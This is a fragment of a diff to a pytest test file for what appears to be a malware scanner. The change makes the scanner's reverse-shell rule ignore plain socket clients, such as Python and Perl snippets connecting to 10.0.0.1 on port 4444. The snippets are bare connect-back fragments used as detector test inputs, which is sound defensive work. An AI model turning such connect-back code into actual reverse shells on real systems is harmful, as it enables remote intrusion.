assert _has_rule(_run_builtin(content, filename), "reverse_shell")
634+
595635
@pytest.mark.parametrize(
596636
"content, filename",
597637
[
598638
(
599639
"import socket\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n"
600640
's.connect(("10.0.0.1", 4444))\n',
601-
"shell.py",
641+
"client.py",
602642
),
603-
("use Socket;\nsocket(SOCKET, PF_INET, SOCK_STREAM, 6);\n", "shell.pl"),
643+
("use Socket;\nsocket(SOCKET, PF_INET, SOCK_STREAM, 6);\n", "client.pl"),
604644
],
605645
)
606-
def test_builtin_reverse_shell_matches_multiline_socket_forms(
646+
def test_builtin_reverse_shell_ignores_plain_socket_clients(
607647
self, content: str, filename: str
608648
) -> None:
609-
assert _has_rule(_run_builtin(content, filename), "reverse_shell")
649+
assert not _has_rule(_run_builtin(content, filename), "reverse_shell")
610650

611651
def test_extra_rules_still_match_with_builtin_malware_representation(self, tmp_path):
612652
_write_rule(

0 commit comments

Comments
 (0)